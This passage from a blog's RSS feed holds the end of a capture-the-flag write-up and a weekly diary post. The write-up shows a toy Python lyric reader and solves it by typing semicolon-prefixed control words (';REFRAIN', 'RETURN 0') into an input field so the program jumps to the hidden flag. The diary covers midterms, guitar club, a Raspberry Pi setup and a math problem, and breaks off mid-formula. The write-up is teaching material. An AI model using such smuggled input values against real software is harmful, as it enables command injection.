&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REFRAIN;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Ciphertext tumbling, breaking the spin,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Feistel or AES, we&apos;re destined to win.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Frequency, padding, primes on the run,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Vigenère, RSA, cracking them for fun.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Shift the letters, matrices fall,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Decrypt that flag and hear the ether call.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REFRAIN;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;SQL injection, XSS flow,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Map the backend out, let the database show.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Inspecting each cookie, fiddler in the fight,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Capturing requests, push the payload just right.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;HTML&apos;s secrets, backdoors unlocked,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;In the world wide labyrinth, we&apos;re never lost.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REFRAIN;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Stack&apos;s overflowing, breaking the chain,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ROP gadget wizardry, ride it to fame.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Heap spray in silence, memory&apos;s plight,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Race the condition, crash it just right.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Shellcode ready, smashing the frame,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Control the instruction, flags call my name.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;REFRAIN;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;END;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;analysis&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#analysis&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Analysis&lt;/h2&gt;
&lt;p&gt;From code below can see, it checks if special words are added to lyrics — if yes execute corresponding function, if no continue printing.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Print lyrics&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;line_count &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;lip &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; start&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; finished &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;and&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; line_count &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; MAX_LINES&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;  line_count &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; line &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; song_lines[lip].split(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;;&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; line &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; song_lines[lip] &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;!=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;      continue&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; line &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &apos;REFRAIN&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;      song_lines[refrain_return] &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &apos;RETURN &apos;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; str&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(lip &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;      lip &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; refrain&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    elif&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; re.match(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;CROWD&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, line):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;      crowd &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; input&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&apos;Crowd: &apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)  &lt;/span&gt;&lt;span style=&quot;color:#8B949E&quot;&gt;# Here can input&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;      song_lines[lip] &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &apos;Crowd: &apos;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; crowd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;      lip &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    elif&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; re.match(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;RETURN &lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;0-9&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, line):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;      lip &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; int&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(line.split()[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    elif&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; line &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &apos;END&apos;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;      finished &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; True&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;    else&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;      print&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(line, &lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;flush&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;True&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;      time.sleep(&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;0.5&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;      lip &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Can use changing the &lt;code&gt;crowd&lt;/code&gt; value to test this guess. For example, I type &lt;code&gt;;REFRAIN&lt;/code&gt; when inputting. Semicolon to end previous text, otherwise whole text treated as normal string.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/reverse/flag-hunter/example-1.webp&quot; alt=&quot;example&quot;&gt;&lt;/p&gt;
&lt;p&gt;This test very successful — because typed &lt;code&gt;;REFRAIN&lt;/code&gt;, so every time reaching &lt;code&gt;crowd&lt;/code&gt;, it jumps back to &lt;code&gt;REFRAIN&lt;/code&gt; to print rest. Can test other ones yourself. Knowing this, can get flag!&lt;/p&gt;
&lt;h2 id=&quot;solution&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#solution&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Solution&lt;/h2&gt;
&lt;p&gt;We already know flag hidden at top, and reader doesn’t read from start. So just need to find a way to jump to top. This code seems to let us jump far:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;elif&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; re.match(&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;RETURN &lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;0-9&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;, line):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;        lip &lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; int&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;(line.split()[&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It’s a regex expression. When format matched, can jump wherever we want. Our goal is to make it start printing from top — so jump to 0!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/reverse/flag-hunter/flag.webp&quot; alt=&quot;Here is the flag&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>Weekly Diary | 25/10/26</title><link>https://www.windson.cc/en/posts/diary-3/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/diary-3/</guid><description>Long time no post, bored so here it is. After dropping camp, life is pretty chill — but there’s actually still a lot to do. Recently I’m at the start of midterm hell, and I’m really feeling the downsi</description><pubDate>Sun, 26 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Long time no post, bored so here it is.&lt;/em&gt;&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;After dropping camp, life is pretty chill — but there’s actually still a lot to do. Recently I’m at the start of midterm hell, and I’m really feeling the downside of not taking general education courses: &lt;strong&gt;&lt;em&gt;“Every single class has midterms!”&lt;/em&gt;&lt;/strong&gt; For the next three weeks, there’s a test every week. Not asking for much, just need to pass.&lt;/p&gt;
&lt;h2 id=&quot;gold-shield-award&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#gold-shield-award&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Gold Shield Award&lt;/h2&gt;
&lt;p&gt;Last Saturday went to play the Gold Shield with &lt;a href=&quot;https://www.iach.cc&quot;&gt;Each Chen&lt;/a&gt;. The senior’s advice was really good. He said it’s basically a divination contest. Looking at the entire exam, the only thing we’re sure we got right was one crypto problem. Everything else was: &lt;em&gt;“This should be it”&lt;/em&gt; / &lt;em&gt;“Yeah, seems reasonable.”&lt;/em&gt; The whole thing was pure divination, but we weren’t the only ones feeling confident. This time it seems like half the teams got eliminated. Hope we make it to the finals, &lt;del&gt;if we do, there’s Gold Shield shirts&lt;/del&gt;. Actually, not getting zero收获 after the competition — at least I know they’re big on reverse. I’m going to start doing one reverse problem a day from now on. Want to start when I can start d(`･∀･)b. Here’s a commemorative photo:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://img.windson.cc/images/2025/10/diary-3/ReverseIsHard.webp&quot; alt=&quot;ReversIsHard&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;guitar-club&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#guitar-club&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Guitar Club&lt;/h2&gt;
&lt;h3 id=&quot;club-class&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#club-class&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Club Class&lt;/h3&gt;
&lt;p&gt;First time actually taking a guitar lesson seriously was when I had to teach — porque I never took any guitar lessons before. In two weeks I’ll be teaching. Someone who’s never taken guitar lessons teaching others — these past few weeks I’ve been watching and learning. It’s fun watching around &lt;del&gt;not going to discuss the part about not being able to make sound&lt;/del&gt;. Watching them struggle with F chord brings back memories of how painful it was when I first started. They still have barre chords to overcome. Anyway, teaching is pretty fun.&lt;/p&gt;
&lt;h3 id=&quot;many-performances&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#many-performances&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Many Performances&lt;/h3&gt;
&lt;p&gt;Performance next week, two days straight. One song’s chord progression I haven’t memorized yet — after this week’s tests, I’ve got to practice hardcore. First time performing at a big venue, feels like there’ll be a ton of people. At the small chapel I’m not nervous just because you can’t see the audience. Green River’s outdoor venue, you’ll see everything clearly. And the next day there’s Cocktail’s performance, even more people. Also learned a lot of songs for Xmas night recently &lt;del&gt;actually just two&lt;/del&gt;, both are lead — gotta practice fast.&lt;/p&gt;
&lt;h2 id=&quot;raspberry-pi&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#raspberry-pi&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Raspberry Pi&lt;/h2&gt;
&lt;p&gt;The Raspberry Pi needs a 5V/5A power supply, but they don’t exist on the market. With unstable power, my HDD keeps getting bad sectors after just a couple spins. So this week I bought the original power supply. Also got an SSD hat and active cooling. Next, I’m going to make the SSD the boot drive and move everything from the microSD over. When going to buy the SSD, I found out it has a lot of specs, but the original is quite short. So far I’ve found it can only fit 2230 and 2242. After exams, I’ll deal with it.&lt;/p&gt;
&lt;h2 id=&quot;math-symbols&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#math-symbols&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Math Symbols&lt;/h2&gt;
&lt;p&gt;While writing this, I found out this theme can type math symbols. Since I can, let me solve a differential equation problem. This was last year’s midterm last problem, but it’s not that hard.&lt;/p&gt;
&lt;h3 id=&quot;q7&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#q7&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Q7&lt;/h3&gt;
&lt;p&gt;Let &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;p(t)&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; be the mouse population in&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;t&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.6151em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; months and satisfy the differential equation&lt;/p&gt;
&lt;span class=&quot;katex-display&quot;&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot; display=&quot;block&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mi&gt;d&lt;/mi&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mi&gt;d&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;0.5&lt;/mn&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mn&gt;450&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;\frac{dp}{dt} = 0.5p -450&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:2.0574em;vertical-align:-0.686em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mopen nulldelimiter&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mfrac&quot;&gt;&lt;span class=&quot;vlist-t vlist-t2&quot;&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:1.3714em;&quot;&gt;&lt;span style=&quot;top:-2.314em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;t&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.23em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;frac-line&quot; style=&quot;border-bottom-width:0.04em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;top:-3.677em;&quot;&gt;&lt;span class=&quot;pstrut&quot; style=&quot;height:3em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;p&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-s&quot;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;vlist-r&quot;&gt;&lt;span class=&quot;vlist&quot; style=&quot;height:0.686em;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mclose nulldelimiter&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8389em;vertical-align:-0.1944em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;0.5&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.6444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;450&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
